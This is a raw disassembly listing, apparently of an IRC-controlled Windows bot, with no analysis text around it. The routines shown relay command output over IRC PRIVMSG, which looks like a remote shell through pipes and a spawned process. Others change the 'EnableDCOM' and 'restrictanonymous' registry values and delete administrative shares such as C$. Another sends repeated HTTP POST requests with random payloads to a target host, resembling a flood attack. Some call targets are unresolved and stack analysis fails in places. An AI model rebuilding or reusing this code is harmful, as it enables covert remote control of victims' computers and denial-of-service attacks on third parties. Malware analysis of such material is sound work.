0 push edi nop call near ptr 2750975h test eax, eax jnz short loc_419E33 push edi call esi jmp short loc_419E08 ; --------------------------------------------------------------------------- loc_419E33: ; CODE XREF: sub_419C09+223j push 1 pop eax jmp short loc_419E0A sub_419C09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E38 proc near ; DATA XREF: sub_401ACD+2687o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_43A438 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_41C266 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_419E97 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409869 add esp, 14h loc_419E97: ; CODE XREF: sub_419E38+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_419C09 add esp, 18h test eax, eax jnz short loc_419EBF push offset unk_43A414 jmp short loc_419EC4 ; --------------------------------------------------------------------------- loc_419EBF: ; CODE XREF: sub_419E38+7Ej push offset unk_43A3F0 loc_419EC4: ; CODE XREF: sub_419E38+85j lea eax, [ebp+var_298] push eax call sub_41C266 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_419EF7 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_409869 add esp, 14h loc_419EF7: ; CODE XREF: sub_419E38+9Dj lea eax, [ebp+var_298] push eax call sub_415D38 push [ebp+var_14] call sub_40B6D6 pop ecx pop ecx push esi call near ptr 2710000h nop pop edi pop esi sub_419E38 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419F16 proc near ; CODE XREF: sub_401ACD+7712p ; sub_40B4F5+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh nop call near ptr 26B0000h mov esi, eax test esi, esi jz short loc_419F48 push 0 push esi nop call near ptr 2750975h test eax, eax jnz short loc_419F48 push esi xor edi, edi nop call near ptr 26808BBh loc_419F48: ; CODE XREF: sub_419F16+1Aj ; sub_419F16+27j mov eax, edi pop edi pop esi retn sub_419F16 endp ; --------------------------------------------------------------------------- byte_419F4D db 56h, 33h, 0F6h ; DATA XREF: ___:004015EEo dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 43A23435h dd 20E89000h, 0EB022867h db 0E3h ; =============== S U B R O U T I N E ======================================= sub_419F6D proc near ; CODE XREF: sub_419F9D+2Ap ; sub_419FD5+7Ep ... mov eax, dword_4DBC48 push esi mov esi, dword_427070 cmp eax, 0FFFFFFFFh jz short loc_419F81 push eax call esi loc_419F81: ; CODE XREF: sub_419F6D+Fj mov eax, dword_4DBC50 cmp eax, 0FFFFFFFFh jz short loc_419F8E push eax call esi loc_419F8E: ; CODE XREF: sub_419F6D+1Cj mov eax, dword_4DBC44 cmp eax, 0FFFFFFFFh jz short loc_419F9B push eax call esi loc_419F9B: ; CODE XREF: sub_419F6D+29j pop esi retn sub_419F6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F9D proc near ; CODE XREF: sub_401ACD+7475p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41B9C0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_4DBC4C call near ptr 2740000h nop test eax, eax jnz short loc_419FD0 call sub_419F6D xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_419FD0: ; CODE XREF: sub_419F9D+28j push 1 pop eax leave retn sub_419F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FD5 proc near ; CODE XREF: sub_41A05C+D3p ; sub_41A05C+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_43DB88 push [ebp+arg_4] call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_41A018 push 7D0h nop call near ptr 26A068Bh push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_41C266 add esp, 10h jmp short loc_41A02F ; --------------------------------------------------------------------------- loc_41A018: ; CODE XREF: sub_419FD5+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_1 ; "%s" push eax call sub_41C266 add esp, 0Ch loc_41A02F: ; CODE XREF: sub_419FD5+41j lea eax, [ebp+var_200] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CBA24 test eax, eax jg short loc_41A058 call sub_419F6D loc_41A058: ; CODE XREF: sub_419FD5+7Cj xor eax, eax leave retn sub_419FD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A05C proc near ; DATA XREF: sub_41A1B1+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_4DBC54 loc_41A074: ; CODE XREF: sub_41A05C+79j ; sub_41A05C+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_4DBC48 call near ptr 2870453h nop test eax, eax jz loc_41A142 cmp [ebp+var_4], edi jnz short loc_41A0D7 lea eax, [ebp+var_8] push eax push dword_4DBC44 nop call near ptr 2870000h test eax, eax jz short loc_41A0CD cmp [ebp+var_8], 103h jnz loc_41A166 loc_41A0CD: ; CODE XREF: sub_41A05C+62j push 0Ah nop call near ptr 26A068Bh jmp short loc_41A074 ; --------------------------------------------------------------------------- loc_41A0D7: ; CODE XREF: sub_41A05C+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_41A0EE loc_41A0DE: ; CODE XREF: sub_41A05C+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_41A13C inc eax cmp eax, [ebp+var_4] jb short loc_41A0DE loc_41A0EE: ; CODE XREF: sub_41A05C+80j mov [ebp+var_4], esi loc_41A0F1: ; CODE XREF: sub_41A05C+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DBC48 nop call near ptr 2730000h test eax, eax jz short loc_41A18E lea eax, [ebp+var_20C] push eax push ebx push dword_4DBC88 call sub_419FD5 add esp, 0Ch jmp loc_41A074 ; --------------------------------------------------------------------------- loc_41A13C: ; CODE XREF: sub_41A05C+8Aj inc eax mov [ebp+var_4], eax jmp short loc_41A0F1 ; --------------------------------------------------------------------------- loc_41A142: ; CODE XREF: sub_41A05C+45j push offset unk_43A4C0 push ebx push dword_4DBC88 call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push 1 nop call near ptr 2710000h loc_41A166: ; CODE XREF: sub_41A05C+6Bj call sub_419F6D push offset unk_43A498 push ebx push dword_4DBC88 call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push edi call near ptr 2710000h nop loc_41A18E: ; CODE XREF: sub_41A05C+C3j push offset unk_43A468 push ebx push dword_4DBC88 call sub_419FD5 push [ebp+arg_0] call sub_40B6D6 add esp, 10h push edi nop call near ptr 2710000h sub_41A05C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A1B1 proc near ; CODE XREF: sub_401ACD+24AAp var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419F6D xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_4346E0 push esi call dword_4CBA90 test eax, eax jz loc_41A2AB push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_427108 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_41A2AB lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_41A2AB mov edi, dword_427104 push 3 push esi push esi push offset dword_4DBC4C call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 2760000h test eax, eax jz short loc_41A2AB push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41BF70 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41BF70 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_43DB88 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 2680B8Eh test eax, eax jnz short loc_41A2B3 loc_41A2AB: ; CODE XREF: sub_41A1B1+2Fj ; sub_41A1B1+5Cj ... or eax, 0FFFFFFFFh jmp loc_41A361 ; --------------------------------------------------------------------------- loc_41A2B3: ; CODE XREF: sub_41A1B1+F8j push [ebp+var_4] mov edi, dword_427070 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DBC48, eax mov eax, [ebp+var_8] mov dword_4DBC50, eax mov eax, [ebp+var_2C] mov dword_4DBC44, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DBC88, eax jz short loc_41A2ED push [ebp+arg_4] jmp short loc_41A2EE ; --------------------------------------------------------------------------- loc_41A2ED: ; CODE XREF: sub_41A1B1+135j push ebx loc_41A2EE: ; CODE XREF: sub_41A1B1+13Aj push offset dword_4DBC54 call sub_41C266 pop ecx pop ecx push esi push 0Ah push offset unk_43A524 call sub_40B3BA mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43E918[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_41A05C push esi push esi call near ptr 26A06F9h nop cmp eax, esi mov dword_43E924[edi], eax jnz short loc_41A35F nop call near ptr 26B0669h push eax lea eax, [ebp+var_378] push offset unk_43A4F0 push eax call sub_41C266 lea eax, [ebp+var_378] push eax call sub_415D38 add esp, 10h loc_41A35F: ; CODE XREF: sub_41A1B1+185j xor eax, eax loc_41A361: ; CODE XREF: sub_41A1B1+FDj pop edi pop esi pop ebx leave retn sub_41A1B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A366 proc near ; DATA XREF: sub_401ACD+2DC8o var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_41A3AD call sub_41A3C6 jmp short loc_41A3B2 ; --------------------------------------------------------------------------- loc_41A3AD: ; CODE XREF: sub_41A366+3Ej call sub_41A6EA loc_41A3B2: ; CODE XREF: sub_41A366+45j add esp, 10h push [ebp+var_14] call sub_40B6D6 pop ecx push 0 nop call near ptr 2710000h sub_41A366 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A3C6 proc near ; CODE XREF: sub_41A366+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CBAA4, edi jnz loc_41A4F8 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CBA44 test eax, eax jnz short loc_41A451 mov ax, word_439298 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB9F8 test eax, eax jz short loc_41A433 push offset dword_43A7C0 jmp short loc_41A438 ; --------------------------------------------------------------------------- loc_41A433: ; CODE XREF: sub_41A3C6+64j push offset dword_43A7A0 loc_41A438: ; CODE XREF: sub_41A3C6+6Bj lea eax, [ebp+var_214] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 jmp short loc_41A464 ; --------------------------------------------------------------------------- loc_41A451: ; CODE XREF: sub_41A3C6+36j lea eax, [ebp+var_214] push offset dword_43A770 push eax call sub_41C266 pop ecx pop ecx loc_41A464: ; CODE XREF: sub_41A3C6+89j cmp [ebp+arg_C], edi jnz short loc_41A483 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A483: ; CODE XREF: sub_41A3C6+A1j lea eax, [ebp+var_214] push eax call sub_415D38 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CBA44 test eax, eax jnz short loc_41A4F1 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CB9F8 test eax, eax jz short loc_41A4D3 push offset dword_43A720 jmp short loc_41A4D8 ; --------------------------------------------------------------------------- loc_41A4D3: ; CODE XREF: sub_41A3C6+104j push offset dword_43A6EC loc_41A4D8: ; CODE XREF: sub_41A3C6+10Bj lea eax, [ebp+var_214] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 jmp short loc_41A50B ; --------------------------------------------------------------------------- loc_41A4F1: ; CODE XREF: sub_41A3C6+E2j push offset dword_43A6B0 jmp short loc_41A4FD ; --------------------------------------------------------------------------- loc_41A4F8: ; CODE XREF: sub_41A3C6+13j push offset dword_43A680 loc_41A4FD: ; CODE XREF: sub_41A3C6+130j lea eax, [ebp+var_214] push eax call sub_41C266 pop ecx pop ecx loc_41A50B: ; CODE XREF: sub_41A3C6+129j cmp [ebp+arg_C], edi jnz short loc_41A52A push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A52A: ; CODE XREF: sub_41A3C6+148j lea eax, [ebp+var_214] push eax call sub_415D38 cmp dword_4CBACC, edi pop ecx jnz loc_41A6A5 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A54D: ; CODE XREF: sub_41A3C6+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CB918 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A5EA cmp eax, 0EAh jz short loc_41A5EA mov esi, offset off_43A548 loc_41A57E: ; CODE XREF: sub_41A3C6+21Dj push dword ptr [esi] push edi call sub_4191B8 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A595 push offset dword_43A65C jmp short loc_41A59A ; --------------------------------------------------------------------------- loc_41A595: ; CODE XREF: sub_41A3C6+1C6j push offset dword_43A630 loc_41A59A: ; CODE XREF: sub_41A3C6+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A5CD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A5CD: ; CODE XREF: sub_41A3C6+1EBj lea eax, [ebp+var_214] push eax call sub_415D38 add esi, 8 pop ecx cmp esi, offset off_43A568 jb short loc_41A57E jmp loc_41A682 ; --------------------------------------------------------------------------- loc_41A5EA: ; CODE XREF: sub_41A3C6+1AAj ; sub_41A3C6+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A679 loc_41A5F9: ; CODE XREF: sub_41A3C6+2AFj mov edi, [esi] push edi call sub_41E0B7 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A66E push edi call sub_4190A5 push eax push 0 call sub_4191B8 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A628 push offset dword_43A60C jmp short loc_41A62D ; --------------------------------------------------------------------------- loc_41A628: ; CODE XREF: sub_41A3C6+259j push offset dword_43A5E0 loc_41A62D: ; CODE XREF: sub_41A3C6+260j lea eax, [ebp+var_214] push 200h push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A661 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A661: ; CODE XREF: sub_41A3C6+27Fj lea eax, [ebp+var_214] push eax call sub_415D38 pop ecx loc_41A66E: ; CODE XREF: sub_41A3C6+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A5F9 xor edi, edi loc_41A679: ; CODE XREF: sub_41A3C6+22Dj push [ebp+var_8] call dword_4CBA64 loc_41A682: ; CODE XREF: sub_41A3C6+21Fj cmp [ebp+var_10], 0EAh jz loc_41A54D lea eax, [ebp+var_214] push offset dword_43A5B8 push eax call sub_41C266 pop ecx pop ecx pop ebx jmp short loc_41A6B8 ; --------------------------------------------------------------------------- loc_41A6A5: ; CODE XREF: sub_41A3C6+177j lea eax, [ebp+var_214] push offset dword_43A588 push eax call sub_41C266 pop ecx pop ecx loc_41A6B8: ; CODE XREF: sub_41A3C6+2DDj cmp [ebp+arg_C], edi jnz short loc_41A6D6 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A6D6: ; CODE XREF: sub_41A3C6+2F5j lea eax, [ebp+var_214] push eax call sub_415D38 pop ecx push 1 pop eax pop edi pop esi leave retn sub_41A3C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6EA proc near ; CODE XREF: sub_41A366:loc_41A3ADp var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CBAA4, ebx push esi jnz loc_41A818 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CBA44 test eax, eax jnz short loc_41A775 mov ax, word_4392DC mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB9F8 test eax, eax jz short loc_41A757 push offset dword_43A938 jmp short loc_41A75C ; --------------------------------------------------------------------------- loc_41A757: ; CODE XREF: sub_41A6EA+64j push offset dword_43A91C loc_41A75C: ; CODE XREF: sub_41A6EA+6Bj lea eax, [ebp+var_220] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 jmp short loc_41A788 ; --------------------------------------------------------------------------- loc_41A775: ; CODE XREF: sub_41A6EA+36j lea eax, [ebp+var_220] push offset dword_43A770 push eax call sub_41C266 pop ecx pop ecx loc_41A788: ; CODE XREF: sub_41A6EA+89j cmp [ebp+arg_C], ebx jnz short loc_41A7A7 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A7A7: ; CODE XREF: sub_41A6EA+A1j lea eax, [ebp+var_220] push eax call sub_415D38 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CBA44 test eax, eax jnz short loc_41A811 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CB9F8 test eax, eax jz short loc_41A7F3 push offset dword_43A8DC jmp short loc_41A7F8 ; --------------------------------------------------------------------------- loc_41A7F3: ; CODE XREF: sub_41A6EA+100j push offset dword_43A8A4 loc_41A7F8: ; CODE XREF: sub_41A6EA+107j lea eax, [ebp+var_220] push eax call sub_41C266 pop ecx pop ecx push [ebp+var_4] call dword_4CB9B0 jmp short loc_41A82B ; --------------------------------------------------------------------------- loc_41A811: ; CODE XREF: sub_41A6EA+E2j push offset dword_43A868 jmp short loc_41A81D ; --------------------------------------------------------------------------- loc_41A818: ; CODE XREF: sub_41A6EA+13j push offset dword_43A680 loc_41A81D: ; CODE XREF: sub_41A6EA+12Cj lea eax, [ebp+var_220] push eax call sub_41C266 pop ecx pop ecx loc_41A82B: ; CODE XREF: sub_41A6EA+125j cmp [ebp+arg_C], ebx jnz short loc_41A84A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A84A: ; CODE XREF: sub_41A6EA+144j lea eax, [ebp+var_220] push eax call sub_415D38 cmp dword_4CBACC, ebx pop ecx jnz loc_41A9BF push edi mov esi, offset off_43A548 mov edi, 200h loc_41A86E: ; CODE XREF: sub_41A6EA+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_41910C add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A889 push offset dword_43A848 jmp short loc_41A88E ; --------------------------------------------------------------------------- loc_41A889: ; CODE XREF: sub_41A6EA+196j push offset dword_43A820 loc_41A88E: ; CODE XREF: sub_41A6EA+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A8BD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A8BD: ; CODE XREF: sub_41A6EA+1B7j lea eax, [ebp+var_220] push eax call sub_415D38 add esi, 8 pop ecx cmp esi, offset off_43A558 jb short loc_41A86E nop call near ptr 2870759h test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A9A7 loc_41A8E8: ; CODE XREF: sub_41A6EA+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A99C cmp bl, 41h jz loc_41A99C movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_1 ; "%c:\\" push 0Ah push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CBA34 cmp eax, 3 jnz short loc_41A99C lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_41910C add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A95A push offset dword_43A848 jmp short loc_41A95F ; --------------------------------------------------------------------------- loc_41A95A: ; CODE XREF: sub_41A6EA+267j push offset dword_43A820 loc_41A95F: ; CODE XREF: sub_41A6EA+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41C360 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A98F push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A98F: ; CODE XREF: sub_41A6EA+289j lea eax, [ebp+var_220] push eax call sub_415D38 pop ecx loc_41A99C: ; CODE XREF: sub_41A6EA+206j ; sub_41A6EA+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A8E8 loc_41A9A7: ; CODE XREF: sub_41A6EA+1F8j lea eax, [ebp+var_220] push offset dword_43A7F0 push eax call sub_41C266 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A9D2 ; --------------------------------------------------------------------------- loc_41A9BF: ; CODE XREF: sub_41A6EA+173j lea eax, [ebp+var_220] push offset dword_43A588 push eax call sub_41C266 pop ecx pop ecx loc_41A9D2: ; CODE XREF: sub_41A6EA+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A9F0 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_41A9F0: ; CODE XREF: sub_41A6EA+2EBj lea eax, [ebp+var_220] push eax call sub_415D38 pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A6EA endp ; =============== S U B R O U T I N E ======================================= sub_41AA04 proc near ; CODE XREF: sub_41ABFB+CBp ; sub_41ABFB+DDp ... arg_0 = dword ptr 4 call near ptr 26C0589h nop push eax call sub_41C2B8 pop ecx call sub_41C2C2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41AA04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA1E proc near ; CODE XREF: sub_41ABFB+D4p ; sub_41ABFB+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41B9C0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41ABF7 push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41BF70 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40A8F0 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41ABF7 push 50h call dword_4CB9D4 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CBA54 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41ABF7 lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_41ABF7 push 32003h call sub_41D9A5 mov edi, dword_4270B0 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41C2B8 call sub_41C2C2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41BF70 push 32000h push esi push ebx call sub_41BF70 push ebx call sub_41B9C0 push 323EAh mov ebx, eax call sub_41D9A5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41C266 push [ebp+var_8] push esi call sub_41C8A0 push offset asc_4349EC ; "\r\n" push esi call sub_41C8A0 push esi call sub_41B9C0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41AB77 mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41AB47 ; --------------------------------------------------------------------------- loc_41AB44: ; CODE XREF: sub_41AA1E+157j mov eax, [ebp+arg_0] loc_41AB47: ; CODE XREF: sub_41AA1E+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41AB57 push [ebp+var_C] jmp short loc_41AB58 ; --------------------------------------------------------------------------- loc_41AB57: ; CODE XREF: sub_41AA1E+132j push ebx loc_41AB58: ; CODE XREF: sub_41AA1E+137j add eax, esi push eax push [ebp+var_4] call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_41ABDE add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41AB44 loc_41AB77: ; CODE XREF: sub_41AA1E+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_4276F4 fst [ebp+arg_0] fcomp flt_4276F0 fnstsw ax sahf jnz short loc_41AB9F fld1 fstp [ebp+arg_0] loc_41AB9F: ; CODE XREF: sub_41AA1E+17Aj push [ebp+var_4] call dword_4CBA6C push [ebp+var_8] call sub_41BA91 push 